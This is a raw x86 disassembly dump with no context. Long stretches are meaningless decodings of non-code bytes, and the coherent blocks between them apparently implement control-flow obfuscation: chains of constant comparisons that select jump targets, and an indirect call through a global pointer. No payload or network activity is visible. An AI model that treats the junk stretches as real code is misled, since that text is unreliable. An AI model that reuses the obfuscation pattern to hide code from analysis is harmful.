invalid
test byte [edi + esi*2], al
jo 0x6e3e3de2
das
and eax, dword [edi - 0x24]
invalid
pop ebp
mov bl, 0x68
xor eax, 0xa81d591d
or eax, 0x96fa690b
std
or al, 0x16
sbb dword [ebx - 0x42c24ad6], esi
mov esi, gs
inc edi
ret 0xa96
push cs
scasd eax, dword es:[edi]
ja 0x6e3e3e87
sbb eax, 0x9b10d46b
fsub dword [edi + 0x5269680b]
and al, 0x30
inc ebp
or ebp, dword [edx - 0x78]
add edi, ebx
xchg esi, eax
mov ch, 0x7c
xchg ebx, eax
sahf
push cs
cmp dl, byte [esi + 0xd126163]
scasb al, byte es:[edi]
inc edi
lahf
xor al, 1
mov esi, 0xa32c03ae
popal
adc cl, byte [0x349f47ae]
add dword [esi - 0x5cd3fc52], edi
sal cl, 1
or ebx, ebx
jno 0x6e3e3e42
nop
int3
invalid
cli
inc ecx
mov ecx, dword [esp - 0xe90100f]
xchg byte [edx], cl
mov al, 0x1c
cmp al, bl
mov dh, 0xef
or edx, edx
aam 0x3a
mov es, word [edx + 0x27]
pop edx
invalid
and dword [ebp - 0x6e], ebp
add ebx, ebp
out dx, eax
invalid
push edi
in eax, 0x47
pop es
not dword [0x2a49ad07]
sub ebp, dword [ecx + 0x7f073a99]
bound edi, qword [esp + esi*8 - 0x16]
aaa
sbb dword [edi - 0x22], esi
fadd dword [edi + 0x114eefbe]
inc ecx
sub al, 0x6b
aam 0xa
shl bl, cl
ja 0x6e3e842c
retf
xor eax, 0xaa9bed3d
loope 0x6e3e845f
jns 0x6e3e83b0
adc al, 0x9f
test al, 0x4a
test ecx, esi
daa
inc edx
aaa
pop ecx
adc dword [ebp - 3], eax
mov cl, 1
mov bl, 0xf
xchg edi, eax
xor eax, 0xbf3a7404
fmul st(1)
mov al, 0x1f
jnp 0x6e3e83ad
inc eax
loope 0x6e3e8445
out dx, al
nop
inc ecx
mov ecx, 0x90a025a1
call 0x6a2f435a
jecxz 0x6e3e8449
cmpsb byte [esi], byte es:[edi]
jecxz 0x6e3e83f0
ret
retf
int3
out 0x44, eax
insd dword es:[edi], dx
mov esi, 0x6bf06d71
mov al, 0x86
jns 0x6e3e8457
jnp 0x6e3e84b4
dec edx
or byte [eax - 0x25d511b3], bl
add ch, al
lea ebp, [edi + ebp*4 - 0x3ac87b73]
cli
pop edx
scasb al, byte es:[edi]
test ebx, ecx
inc esp
sub al, 0x23
pop eax
nop
lds ecx, [ebp - 0x7b725054]
aaa
vcvtss2sd xmm5, xmm0, dword [esi + 0x2c44cb85]
and ebx, dword [eax - 0x70]
add cl, ah
das
rol dword [esi + 0x119778fa], 0xbb
and dword [eax + 0x3adb9395], 0x17
fild dword [ecx - 0x4f]
or eax, 0x3775bf4e
test byte [eax + 0x22e558f6], dl
and ah, cl
jae 0x6e3e84ae
mov eax, 0x7a4a6a33
pop esi
lcall 0xc4ed, 0xbcb3ec70
into
cmc
push ds
pushal
add cl, byte [ebp + 9]
inc esp
lodsb al, byte [esi]
in al, 0x46
cmc
jne 0x6e3e84cb
sbb al, 0xbe
loope 0x6e3e84d6
mov esi, 0x68ab24e1
stosd dword es:[edi], eax
push 0xf88e082
in eax, 0xb2
and al, 0x91
nop
and al, 0x88
pmulhw mm6, qword [edx - 0x6f9b6edc]
int3
ret
sub cl, byte [eax - 0x49]
or dword [edi - 0x4174fce2], eax
sub dword [ebp + edi*8 + 0xc], ebp
xor eax, dword [ebp + 0x15317545]
cmpsd dword [esi], dword es:[edi]
lodsb al, byte [esi]
mov dword [eax + 1], edi
shr byte [ecx], 0xec
aam 0x79
mov ebx, 0xabb4e55
mov bl, 0x55
mov ecx, 0xd8f63ec0
xchg edx, eax
xlatb
push ebx
imul edi, dword [ebx - 0xf], 0xe1ad1fe1
daa
pop ss
jne 0x6e3e8578
leave
cli
mov edx, 0x14af954f
sbb edx, dword [esi + 3]
cdq
out dx, eax
adc byte [eax - 0x2d38a17b], 0xd3
call 0x4bf763ca
invalid
or byte fs:[edx - 0x72], bl
insd dword es:[edi], dx
xchg edi, eax
xor byte [ebx], dl
dec ecx
pop ds
fisttp qword [ebp - 0x2d]
push 0x7a7caa9e
mov ss, word [eax + 0x8946dcc]
cwde
in al, 0x4b
sar ch, 0x6d
dec edx
aas
lcall 0x257f, 0xd08ed4e0
insd dword es:[edi], dx
xchg esp, eax
cmp eax, 0x87dc051
add dword [esi - 0x20], ecx
scasd eax, dword es:[edi]
mov bl, 0x92
mov bh, 0xd3
test ax, 0x188
rol esi, 0xc2
pop edx
xchg ecx, eax
and dword [edx + edx - 0x5a920397], esi
in eax, 0xf5
xor dword [edx - 0x56b1023e], esp
or dword [esi + esi*8], edi
imul edx, edx, 0xfffffff9
std
dec esi
test eax, 0x6bf63c09
sar cl, cl
add ah, byte [0xb90b6fc7]
push cs
rcr eax, 0x74
add byte [ecx + 0x56], bh
sub dword [edi], ebx
xor dword [edx + 0x5e], 0x9ab70579
mov byte [eax + edx*4 - 0x11], ah
inc ebx
loope 0x6e3e860d
adc dh, cl
sbb byte [esi + 0x24], bl
and edx, dword [ebx - 0x5f]
js 0x6e3e8631
je 0x6e3e8655
dec edi
jae 0x6e3e85c6
add byte [esi - 0x394eb4f9], ah
or ebx, eax
fnsave dword [ebx + edx]
les edi, [eax]
mov byte [0xf3dc3330], al
not byte [ebp - 0x273017a9]
not byte [ebp - 0x273017a9]
lodsd eax, dword [esi]
dec ebx
lodsd eax, dword [esi]
push ds
dec eax
scasb al, byte es:[edi]
wait
mov ebp, 0x9753d79
add al, 0x51
les ebx, [ebp + 0x365636c1]
test eax, 0x80c98b26
sub bl, dh
in al, 0xf1
jno 0x6e3e8660
ficomp word [ecx]
mov ah, 0xc3
js 0x6e3e86a0
idiv byte [edx + 0x4109b6c]
mov eax, dword [0x46df1212]
fnstenv [edi - 0xfa3615e]
cmp bl, byte [edi + ebx*4 + 0x4d89c73a]
outsd dx, dword [esi]
dec ebx
mov eax, 0xed2163a2
arpl word [ecx], sp
in eax, dx
cld
inc ecx
adc dl, byte [eax - 0x4b3ae434]
popfd
pop ebx
rcl eax, 1
mov bh, 0x5f
invalid
bound edi, qword [esi + 0x13b21828]
mov byte [ebx + 0x2b40fa2e], ah
sal dword [eax + 0x14], 1
mov bl, 0x1c
mov edx, 0x5c0aa25e
dec esp
dec ebp
int1
fisub word [ebp + 0x23d873a9]
dec ebp
adc byte [edi + 0x16], bl
sub dh, byte [edi]
and esp, dword [esp + ebx*4]
pushfd
ficomp dword [0x9228d104]
or eax, 0xee349c23
add al, 0xd1
sub byte [edx + 0x349c230d], dl
out dx, al
nop
shl dh, 1
cmp dword [edx + 0x7c], ecx
sahf
cli
xchg esi, eax
cli
clc
movsd dword es:[edi], dword [esi]
sbb eax, 0xe0b50cb5
popfd
into
jg 0x6e3e86db
push eax
inc edi
sbb bh, byte [edx]
xor esi, dword [esi + esi]
jae 0x6e3e8675
leave
and esi, dword [esi]
fild dword [esp + edx]
retf
sub esp, eax
pop eax
jno 0x6e3e86b4
xchg esi, eax
ljmp 0x1729
invalid
cld
arpl word [ebx + 0x52a5bf0d], si
add eax, esi
pop edx
leave
pop es
or bh, byte [edx + 0x4570fc06]
lcall 0x7b0c, 0x46a3fa1
mov al, 0x37
mov eax, 0xabb6d62c
invalid
outsb dx, byte [esi]
not ecx
invalid
push eax
int3
dec ebx
stosb byte es:[edi], al
invalid
js 0x6e3ee1b6
loop 0x6e3ee16f
in eax, dx
xchg ebp, eax
mov eax, dword [0xfb212998]
in eax, dx
push ebx
mov ebp, 0xf579dfb9
invalid
sbb byte [ebx - 0x46], bl
mov edi, fs
xor dword [edx - 0x66], 0x173223c5
add ah, dl
nop
int3
lds eax, [eax - 0x63fdedd8]
enter 0xffffffffffffed37, 0xffffffffffffff99
aaa
in eax, dx
cdq
add byte [ebx + 0x4b], cl
out dx, al
jb 0x6e3ef94f
lahf
jne 0x6e3ef933
push edx
sbb al, cl
mov ah, 0x2d
push ds
mov cs, word [esi]
test byte [ebp + 0x78d02c24], 0xc1
sbb bl, byte [ebx]
test byte [eax], ah
or dword [edi], 0x70c9b64f
stosb byte es:[edi], al
invalid
xor byte [esp + edi*4 + 0x453269a7], dh
fsubp st(2)
mov byte [0xacbd6333], al
mov ebx, 0xf98a5981
sti
xchg ebx, eax
add dword [ebx + 0x5fcc489f], esp
ljmp 0xe70e
int1
cmc
push ebp
fadd qword [eax - 0x2efa3b8d]
into
mov eax, dword [ebp + 0x5e]
fyl2xp1
pop ecx
lodsb al, byte [esi]
jns 0x6e3f10e9
push ss
mov edi, 0xde8700c6
sub dl, ch
sbb al, 0x6c
inc ebx
mov edx, dword [ecx - 0x7c5849a4]
in al, dx
push ds
lcall 0x22c, 0x7263d84d
sub eax, edx
shr ebx, 1
xchg ebx, eax
scasb al, byte es:[edi]
mov al, 0xbe
outsd dx, dword [esi]
enter 0x740c, 0x32
fld st(0)
ja 0x6e3f10d2
jb 0x6e3f1117
add ch, byte [ecx]
rcl cl, 1
jmp 0x6e3f1084
xchg ecx, eax
rol byte [ecx], 0x3d
push edx
std
outsd dx, dword [esi]
cmp al, 0x72
lahf
in al, dx
pop ebx
rcl dword [edi + 0x4130593b], 0x49
or al, 0xde
mov edx, 0x1a7dce6c
adc dword [ecx - 0x32], esp
ljmp 0x2f63
call 0xb8804964
inc ecx
dec edx
in eax, 0xe8
mov cl, 0x30
pop es
push ecx
mov cl, 0x84
jge 0x6e3f2795
adc al, ch
push ecx
not dword [esi + 0x573b8a18]
sub eax, 0x74fa56d3
adc ah, byte [esp + edx - 0x6c]
sub cl, dl
sahf
jnp 0x6e3f27ea
pop ebp
push es
sbb byte [ebx], al
invalid
mov al, byte [0x3f56750]
dec esi
lodsb al, byte [esi]
lodsb al, byte [esi]
mov ah, 0x52
add al, 0xcb
inc ebx
in al, 0x85
pop es
mov dword [eax + esi*4], edx
pop esi
jmp 0x6e3f2877
ja 0x6e3f2792
pop esp
cmp al, 0x2a
invalid
fist word [ecx]
js 0x6e3f28aa
jo 0x6e3f287a
jg 0x6e3f27ff
cmp al, 0x8e
dec ecx
inc edx
and dl, byte [esi + eax*2 + 0x351acae2]
lea esi, ds:[edi - 0x1c2c672f]
push es
aam 0x8e
retf 0x113e
pop esp
test byte [ecx - 0x66], al
lea esp, [ecx - 0x18d152b6]
lcall 0xe72e, 0xad4aa18d
mov bl, 0x36
mov dh, 0xaf
test eax, 0xa43d1744
daa
test byte [edi + ebx*8 - 0x65], 0x21
inc ebp
jge 0x6e3f28fb
in al, 0x48
test dword [edi], esi
sbb ebp, dword [eax - 0x711f14ff]
sbb dword [esi + edi*2 + 0x4c683d32], esp
pop ecx
pop ds
adc eax, 0xf36f373d
adc esi, ebx
outsd dx, dword [esi]
adc esi, ebx
movsb byte es:[edi], byte [esi]
pop ecx
mov ebx, 0xc169cd08
push eax
inc eax
or eax, 0xc67e165e
xor dword [edi + 0x1b4e088d], esp
xor al, 0x5b
scasb al, byte es:[edi]
add bh, 0x1a
sbb eax, 0xd780b80
rcl byte [eax - 0x4a51a510], cl
int1
invalid
pushfd
invalid
nop
jmp 0x6e3f3fb1
nop
mov dword [ebp - 0x74], 0x6e93b014
mov dword [ebp - 0x80], 0x10cff
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x88], 0x79f18
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub eax, dword [ebp - 0x80]
sbb edx, dword [ebp - 0x7c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
xor eax, 0x69219
or eax, dword [ebp - 0x8c]
je 0x6e3f579b
mov eax, dword [ebp - 0x90]
xor eax, 0x8691e
or eax, dword [ebp - 0x8c]
jne 0x6e3f579e
das
sub dword [esi - 0xd81938c], ebx
pop ebx
xlatb
notrack call 0xd686c83d
pop edx
dec esp
and cl, byte [eax + 0x4caf4cc5]
mov esp, 0xc706398c
adc al, bh
xchg ebx, eax
pop ss
mov cl, byte [edi + 0x6b85dd17]
mov bh, 0xcd
pop ebx
rcr edx, cl
cld
lea ecx, [ebx - 0x55]
sahf
and dh, dh
cwde
fstp qword [eax - 0x14a255c3]
inc edi
stosd dword es:[edi], eax
test al, ah
cdq
push 0xdf4488d0
movsb byte es:[edi], byte [esi]
jg 0x6e3f4060
shl byte [edx], cl
test byte [esi + 0x759d60c6], ah
js 0x6e3f409b
mov bh, 0xae
push ds
nop
pushal
cld
cmp al, 0x6c
mov ch, byte [ecx]
add ecx, ebx
les edx, [esi - 0x7d]
lds eax, [edi - 0x3e]
sbb dword [esi], 0x9c0c1f7c
pushfd
aaa
ror byte [esi], 1
mov cl, 0x72
mov edx, 0x4e63a874
jp 0x6e3f408d
out 0x80, al
test word [edi - 0x38e5f676], bx
and byte [esi - 0x7b], 0x9f
mov cl, byte [ecx]
sbb al, bh
fidivr dword [edx + edi*8 + 0x16]
salc
pop eax
pop ebp
pop ss
dec edi
xchg esi, eax
jo 0x6e3f40ab
stosd dword es:[edi], eax
mov ch, 0xa6
mov bl, 0x99
and ecx, esp
dec esi
lcall 0x777f, 0x4f4d87aa
mov ch, 0xf7
mov esp, 0xb17743e6
getsec
xor eax, 0xa7e6fcfa
or ebp, dword [edx + 0x1c]
push es
fcomp st(5)
mov dh, 0x5c
pop ss
add eax, 0xdc7d9680
aam 0xfc
add al, 5
mov ch, 0xee
mov dl, 0xd8
test dword [edx], 0x5748ab3b
adc ecx, ebp
call 0x290d57f0
ljmp 0x4dea
nop
jmp 0x6e3f579f
nop
mov dword [ebp - 0x94], 0
jmp 0x6e4b1a8f
mov dword [ebp - 0xa0], 0x7edfe
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0xcd240
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xa8]
mov edx, eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa0]
mul dword [ebp - 0xa8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0xab1ddb80
mov edx, dword [ebp - 0xac]
xor edx, 0x65
or eax, edx
je 0x6e3f9f1c
mov edx, 0xab1ddb80
mov eax, 0x65
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6e3f9f1f
mov eax, dword [ebp - 0xb0]
xor eax, 0x86845
or eax, dword [ebp - 0xac]
je 0x6e3f87a7
mov edx, 0x86845
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6e3f9f1f
mov eax, dword [ebp - 0xb0]
xor eax, 0x2dcf8
or eax, dword [ebp - 0xac]
je 0x6e3f58b7
mov eax, dword [ebp - 0xb0]
xor eax, 0x4afdc
or eax, dword [ebp - 0xac]
je 0x6e3f702f
jmp 0x6e3f9f1f
aaa
add byte [ebp + esi + 0xc0b396a], ch
jg 0x6e3f5860
add dword [edx + 0x33baf93c], 0xffffffcb
invalid
invalid
out 0x72, al
sar dh, 1
mov byte [0xe9113020], al
mov esp, 0x5ce6494b
insb byte es:[edi], dx
sbb eax, 0x81928a00
pop ebx
sub dword [edx + edx*4 - 0x3e998a53], ecx
inc ebx
pop esi
mov eax, dword [0x89671272]
leave
push ecx
sbb al, 0x84
je 0x6e3f870a
clc
add ebp, ecx
pop ds
dec edi
aas
insd dword es:[edi], dx
invalid
fst dword [eax + 0x71]
shl dword [esp + edx*8 + 0x21], 1
clc
mov bl, 0x20
movsb byte es:[edi], byte [esi]
xor al, bh
clc
lcall 0xb4ea, 0xae147e66
int1
mov edx, 0xcfda9af0
fmul st(1)
loopne 0x6e3f87ae
sahf
jne 0x6e3f8728
push ebx
loop 0x6e3f877e
outsd dx, dword [esi]
outsb dx, byte [esi]
mov cl, 0x12
fisttp qword [ebx + edi*2]
sar dword [ebp + 0x79e9cc90], 0x17
add byte [eax], al
shl dword [eax + edx*8 - 0x30], cl
xchg ebp, eax
lcall 0x99cb, 0xd586f282
cmp dh, byte [esi - 0x7f]
and dword [0x4405214], ebp
int1
xlatb
jo 0x6e3f8798
xchg ch, dl
retf
mov cl, 0x3a
and byte [ebp + 0x5be86e02], cl
inc edx
outsb dx, byte [esi]
clc
jne 0x6e3f883f
sahf
loopne 0x6e3f877d
fcomp qword [edi - 0x37]
dec edx
sub edi, dword [eax + edx*8 - 0x43d6de29]
movsb byte es:[edi], byte [esi]
js 0x6e3f8772
add ah, cl
retf 0x17e5
inc esi
scasb al, byte es:[edi]
inc esp
outsb dx, byte [esi]
mov ecx, 0x884f3bf8
and al, 0x20
mov esp, 0xc1d8c514
fadd st(1)
dec ebp
cld
adc al, 0x14
jne 0x6e3f884d
push edx
and bl, ah
retf
nop
jmp 0x6e3f9f20
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, eax
mov eax, dword [0x6e93d024]
add eax, edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0xb8], 0xb9f73
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0x9a050
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb4]
sub eax, dword [ebp - 0xc0]
sbb edx, dword [ebp - 0xbc]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0xd887c
or eax, dword [ebp - 0xc4]
je 0x6e3fa0e3
mov edx, 0xd887c
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x6e404528
mov eax, dword [ebp - 0xc8]
xor eax, 0x9750e
or eax, dword [ebp - 0xc4]
je 0x6e3fe74b
mov edx, 0x9750e
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x6e404528
mov eax, dword [ebp - 0xc8]
xor eax, 0x939c7
or eax, dword [ebp - 0xc4]
je 0x6e3fb85b
mov edx, 0x939c7
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x6e404528
mov eax, dword [ebp - 0xc8]
xor eax, 0x2a94f
or eax, dword [ebp - 0xc4]
je 0x6e402db3
mov edx, 0x2a94f
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x6e404528
mov eax, dword [ebp - 0xc8]
xor eax, 0x2710e
or eax, dword [ebp - 0xc4]
je 0x6e40163b
mov edx, 0x2710e
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x6e404528
mov eax, dword [ebp - 0xc8]
xor eax, 0x1ff23
or eax, dword [ebp - 0xc4]
je 0x6e40452b
mov edx, 0x1ff23
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x6e404528
mov eax, dword [ebp - 0xc8]
xor eax, 0x3629
or eax, dword [ebp - 0xc4]
je 0x6e3fcfd3
mov eax, dword [ebp - 0xc8]
xor eax, 0x991e
or eax, dword [ebp - 0xc4]
je 0x6e3ffec3
jmp 0x6e404528
invalid
inc esp
push esp
out 0x59, eax
mov esi, 0xd1215e
dec esi
out dx, ax
outsd dx, dword [esi]
cdq
pop ebx
add ecx, ebp
dec esi
mov byte [ebx + 0x271f4755], al
inc ebx
dec edx
not dword [ebp + 0x67bba274]
add eax, dword [ecx]
sub al, 0x83
dec edi
jae 0x6e3fb8b7
aas
mov esp, 0x731488cd
adc al, 0x73
mov al, 0x82
lodsd eax, dword [esi]
js 0x6e3fb887
sub dword [edx + 0x5a], ebp
and cl, al
shl byte [eax], 1
cld
mov ebx, 0x12a16f81
arpl word [eax - 0x575ddb76], bx
arpl word [esi + 0x31453b30], di
out 0x25, al
aas
pushal
xchg esi, eax
and byte [ebx - 0x23], bh
and al, byte [ebp + 0x14]
ljmp 0x4306
popfd
rol dword [esi], cl
inc ebx
das
mov dword [0x4635f204], eax
cmp edi, eax
push esi
in eax, 0x78
int1
or ebx, 0xabc46df2
push esp
and ebp, ebp
push ebx
invalid
mov ebp, 0xc4070a86
pushfd
mov eax, 0x57aa123c
push ds
push 0xb6384fe4
mov edx, 0x4ac83e3b
retf 0x8079
dec ebx
jns 0x6e3fcea7
imul ebp, dword es:[ebx + 0x20dc4c6d], 0xffffffdc
jno 0x6e3fcf49
pop ecx
or ecx, edi
xchg esp, eax
cwde
mov ebp, 0x613ba45b
js 0x6e3fcf27
cmp esp, dword [ecx + 0x78]
cld
and eax, 0xa6cbdad2
invalid
retf
jl 0x6e3fcf2e
mov ch, 0x38
stc
and eax, 0x1045c9d4
xchg esi, eax
mov ds, word [eax]
add eax, 0x744b15df
dec esp
pop edi
pop ecx
jb 0x6e3fcf56
or dl, 0x95
mov cs, word [ebp + 0x1d]
pop ecx
idiv ch
ror dword [edi], 0xf5
retf 0xb8df
jecxz 0x6e3fcf99
add ecx, dword [ecx - 0x535dbb44]
add eax, 0x8628ac8b
jp 0x6e3fcf11
push eax
sub dword [ebx - 4], ebx
pop edx
shr byte [ebp - 0x360b20a], 1
xor byte [esp + edi*2], 0xd2
adc dh, byte [ebx - 0x5d4ebabd]
mov cl, 0xa2
xor byte [ebx + edi*2], bl
loop 0x6e3fd002
jl 0x6e3fcfe4
int 0x15
push 0x6a6b5e31
hlt
leave
cmp eax, eax
cmp ebp, dword [ebx - 0x7bf41464]
loopne 0x6e3fcf77
xchg ebp, eax
nop
int3
xchg ecx, eax
insd dword es:[edi], dx
aad 0x9d
test al, 0x2b
mov dword [0x78cff543], eax
popal
inc esi
mov eax, dword [edx - 6]
cli
inc eax
sbb byte [ebx], bh
jle 0x6e3fcfc0
stosd dword es:[edi], eax
out dx, al
add eax, 0x93891ba3
jo 0x6e3fd01f
fdivr dword [ecx + 0x5991d7e1]
mov ecx, 0x5991d7e1
push 0x95f74cbc
pushfd
pop es
xchg dword [eax + 6], eax
inc eax
push es
das
push ds
jp 0x6e3fcff4
jg 0x6e3fcf99
int3
pop es
iretd
xchg ebx, eax
test dword [ebx - 0x39a3bd53], eax
mov bl, 0xa9
dec edi
test eax, 0x1151d1d0
imul ebx, dword [ebx + 0x30], 0xd18ff62d
mov dword [ebx + edi*8 + 0x39], edi
sub ecx, edx
xchg esi, eax
nop
adc al, 0x21
jnp 0x6e3fe7cc
adc eax, 0xe963e96b
sahf
retf
xor bh, dh
mov cl, 0xcd
mov ebp, 0x1b5d47aa
dec esi
mov edi, 0x563b2a5d
mov dl, 0xe6
or dword [ebp + 0x5bd35268], esi
invalid
mov dh, 0x6a
enter 0xffffffffffff83e0, 0xffffffffffffffad
pop edx
mov edx, 0x15687a03
add al, 0xe1
loopne 0x6e3ffe82
adc eax, 0xfbe0e104
mov ch, 7
cmp eax, 0x6657b616
pop es
fisttp word [esi - 0x5c7f2f1]
sub ch, dl
retf
in al, 0x4f
push cs
jle 0x6e3ffe77
xor eax, 0xa1763460
sbb byte [ebp - 0x604b6e57], dh
adc byte [esi - 0x1c6baa0c], ch
xor byte [ebx], cl
sti
dec edi
cmp dword [esi], 0xe5d06df
cli
retf 0x911
enter 0x2ef3, 0xffffffffffffff85
cmc
jle 0x6e40168a
invalid
fsubr st(5)
sbb dword [eax], ebx
adc bh, byte [0x727a1413]
mov edx, 0xbebc038e
push ebx
mov edi, 0x8dd88a35
cmp bl, ah
cmpsd dword [esi], dword es:[edi]
test al, 0x44
fidiv dword [edx + 0x677895a0]
loope 0x6e4016a2
xor byte [ecx + 0x77318163], al
test dword [edi], esi
mov dh, byte [ebp - 0x76]
jecxz 0x6e4016fe
iretd
mov byte [0x567b3d94], al
invalid
add eax, 0x4d0bf3c3
mov eax, 0x5c23cc10
bound ebp, qword [edx + 0x5c5539e6]
iretd
nop
jmp 0x6e40452c
nop
mov eax, dword [0x6e93d004]
mov edx, dword [ebp - 0x74]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
je 0x6e4b1a05
mov dword [ebp - 0xd0], 0xcbe7c
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd8], 0x2af39
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd0]
mov ebx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0xd4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xe0]
xor eax, 0xf6db5
or eax, dword [ebp - 0xdc]
je 0x6e427da4
mov edx, 0xf6db5
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xd1d2a
or eax, dword [ebp - 0xdc]
je 0x6e41c1e7
mov edx, 0xd1d2a
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xd0e90
or eax, dword [ebp - 0xdc]
je 0x6e42662f
mov edx, 0xd0e90
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xcf9af
or eax, dword [ebp - 0xdc]
je 0x6e411d9f
mov edx, 0xcf9af
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xc869e
or eax, dword [ebp - 0xdc]
je 0x6e407957
mov edx, 0xc869e
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xc7db1
or eax, dword [ebp - 0xdc]
je 0x6e42084f
mov edx, 0xc7db1
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xbf89f
or eax, dword [ebp - 0xdc]
je 0x6e4192f7
mov edx, 0xbf89f
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xa8dbe
or eax, dword [ebp - 0xdc]
je 0x6e414c8f
mov edx, 0xa8dbe
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xa56be
or eax, dword [ebp - 0xdc]
je 0x6e41d95f
mov edx, 0xa56be
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0xa01fa
or eax, dword [ebp - 0xdc]
je 0x6e413517
mov edx, 0xa01fa
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x99924
or eax, dword [ebp - 0xdc]
je 0x6e4090cf
mov edx, 0x99924
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x91f44
or eax, dword [ebp - 0xdc]
je 0x6e42373f
mov edx, 0x91f44
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x91213
or eax, dword [ebp - 0xdc]
je 0x6e417b7f
mov edx, 0x91213
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x8b597
or eax, dword [ebp - 0xdc]
je 0x6e40bfbf
mov edx, 0x8b597
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x54568
or eax, dword [ebp - 0xdc]
je 0x6e40a847
mov edx, 0x54568
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x4aea9
or eax, dword [ebp - 0xdc]
je 0x6e41f0d7
mov edx, 0x4aea9
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x4466d
or eax, dword [ebp - 0xdc]
je 0x6e421fc7
mov edx, 0x4466d
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x3a4fa
or eax, dword [ebp - 0xdc]
je 0x6e404a67
mov edx, 0x3a4fa
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x25566
or eax, dword [ebp - 0xdc]
je 0x6e40eeaf
mov edx, 0x25566
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e427da7
mov eax, dword [ebp - 0xe0]
xor eax, 0x21c2a
or eax, dword [ebp - 0xdc]
je 0x6e416407
